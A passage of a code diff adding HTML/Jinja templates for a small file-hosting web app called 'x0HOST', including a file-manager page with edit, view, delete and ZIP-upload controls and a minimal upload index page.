| 72 |
+
background: #065f46
|
| 73 |
+
}
|
| 74 |
+
|
| 75 |
+
.file-actions a.btn-delete {
|
| 76 |
+
background: #7f1d1d;
|
| 77 |
+
color: #fca5a5;
|
| 78 |
+
}
|
| 79 |
+
|
| 80 |
+
.file-actions a.btn-delete:hover {
|
| 81 |
+
background: #991b1b;
|
| 82 |
+
}
|
| 83 |
+
|
| 84 |
+
.empty {
|
| 85 |
+
color: #64748b;
|
| 86 |
+
text-align: center;
|
| 87 |
+
padding: 40px
|
| 88 |
+
}
|
| 89 |
+
|
| 90 |
+
.upload-section {
|
| 91 |
+
margin-top: 30px;
|
| 92 |
+
background: #0f172a;
|
| 93 |
+
border-radius: 12px;
|
| 94 |
+
padding: 24px;
|
| 95 |
+
}
|
| 96 |
+
|
| 97 |
+
.upload-section h2 {
|
| 98 |
+
color: #22c55e;
|
| 99 |
+
margin: 0 0 16px 0;
|
| 100 |
+
font-size: 1.2rem;
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
.upload-form {
|
| 104 |
+
display: flex;
|
| 105 |
+
flex-wrap: wrap;
|
| 106 |
+
gap: 16px;
|
| 107 |
+
align-items: flex-end;
|
| 108 |
+
}
|
| 109 |
+
|
| 110 |
+
.form-group {
|
| 111 |
+
flex: 1;
|
| 112 |
+
min-width: 200px;
|
| 113 |
+
}
|
| 114 |
+
|
| 115 |
+
.form-group label {
|
| 116 |
+
display: block;
|
| 117 |
+
color: #94a3b8;
|
| 118 |
+
font-size: 13px;
|
| 119 |
+
margin-bottom: 6px;
|
| 120 |
+
}
|
| 121 |
+
|
| 122 |
+
.form-group input {
|
| 123 |
+
width: 100%;
|
| 124 |
+
padding: 10px 14px;
|
| 125 |
+
background: #1e293b;
|
| 126 |
+
border: 1px solid #334155;
|
| 127 |
+
border-radius: 8px;
|
| 128 |
+
color: #fff;
|
| 129 |
+
font-size: 14px;
|
| 130 |
+
}
|
| 131 |
+
|
| 132 |
+
.form-group input:focus {
|
| 133 |
+
outline: none;
|
| 134 |
+
border-color: #22c55e;
|
| 135 |
+
}
|
| 136 |
+
|
| 137 |
+
.btn-upload {
|
| 138 |
+
padding: 10px 20px;
|
| 139 |
+
background: #22c55e;
|
| 140 |
+
color: #000;
|
| 141 |
+
border: none;
|
| 142 |
+
border-radius: 8px;
|
| 143 |
+
font-weight: 600;
|
| 144 |
+
cursor: pointer;
|
| 145 |
+
transition: background 0.2s;
|
| 146 |
+
}
|
| 147 |
+
|
| 148 |
+
.btn-upload:hover {
|
| 149 |
+
background: #16a34a;
|
| 150 |
+
}
|
| 151 |
+
|
| 152 |
+
.hint {
|
| 153 |
+
color: #64748b;
|
| 154 |
+
font-size: 13px;
|
| 155 |
+
margin-top: 12px;
|
| 156 |
+
}
|
| 157 |
+
</style>
|
| 158 |
+
</head>
|
| 159 |
+
|
| 160 |
+
<body>
|
| 161 |
+
<div class="container">
|
| 162 |
+
<div class="breadcrumb">
|
| 163 |
+
<a href="/dashboard">← Dashboard</a> / <strong>{{site_id}}</strong>
|
| 164 |
+
</div>
|
| 165 |
+
<h1>📁 Files in {{site_id}}</h1>
|
| 166 |
+
<div class="file-list">
|
| 167 |
+
{% if files %}
|
| 168 |
+
{% for file in files %}
|
| 169 |
+
<div class="file-item">
|
| 170 |
+
<span class="file-name">{{file}}</span>
|
| 171 |
+
<div class="file-actions">
|
| 172 |
+
<a href="/edit/{{site_id}}/{{file}}">✏️ Edit</a>
|
| 173 |
+
<a href="/h/{{site_id}}/{{file}}" target="_blank">👁️ View</a>
|
| 174 |
+
<a href="/delete-file/{{site_id}}/{{file}}" class="btn-delete"
|
| 175 |
+
onclick="return confirm('Delete {{file}}?')">🗑️ Delete</a>
|
| 176 |
+
</div>
|
| 177 |
+
</div>
|
| 178 |
+
{% endfor %}
|
| 179 |
+
{% else %}
|
| 180 |
+
<div class="empty">No files found</div>
|
| 181 |
+
{% endif %}
|
| 182 |
+
</div>
|
| 183 |
+
|
| 184 |
+
<!-- Upload Form -->
|
| 185 |
+
<div class="upload-section">
|
| 186 |
+
<h2>📤 Upload Files</h2>
|
| 187 |
+
<form method="post" action="/upload/{{site_id}}" enctype="multipart/form-data" class="upload-form">
|
| 188 |
+
<div class="form-group">
|
| 189 |
+
<label>File or ZIP archive</label>
|
| 190 |
+
<input type="file" name="file" required>
|
| 191 |
+
</div>
|
| 192 |
+
<div class="form-group">
|
| 193 |
+
<label>Subfolder (optional)</label>
|
| 194 |
+
<input type="text" name="subfolder" placeholder="e.g. assets/images">
|
| 195 |
+
</div>
|
| 196 |
+
<button type="submit" class="btn-upload">⬆️ Upload</button>
|
| 197 |
+
</form>
|
| 198 |
+
<p class="hint">💡 Upload a ZIP file to add multiple files at once</p>
|
| 199 |
+
</div>
|
| 200 |
+
</div>
|
| 201 |
+
</body>
|
| 202 |
+
|
| 203 |
+
</html>
|
templates/index.html
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html>
|
| 3 |
+
<head>
|
| 4 |
+
<title>x0HOST by ExploitZ3r0</title>
|
| 5 |
+
<style>
|
| 6 |
+
body{background:#020617;color:#e5e7eb;font-family:system-ui;display:flex;justify-content:center;height:100vh}
|
| 7 |
+
.box{margin-top:80px;background:#0f172a;padding:30px;border-radius:14px;width:360px}
|
| 8 |
+
input,button{width:100%;padding:12px;margin-top:10px;border-radius:10px;border:none}
|
| 9 |
+
button{background:#10b981;font-weight:600}
|
| 10 |
+
</style>
|
| 11 |
+
</head>
|
| 12 |
+
<body>
|
| 13 |
+
<div class="box">
|
| 14 |
+
<h1>x0HOST by ExploitZ3r0</h1>
|
| 15 |
+
<form method="post" enctype="multipart/form-data">
|
| 16 |
+
<input type="file" name="file" required>
|
| 17 |
+
<input name="site_id" placeholder="Custom ID (optional)">
|
| 18 |
+
<input type="date" name="expires">
|
| 19 |
+
<button>Upload</button>
|
| 20 |
+
</form>
|
| 21 |
+
</div>
|
| 22 |
+
</body>
|
| 23 |
+
</html>
|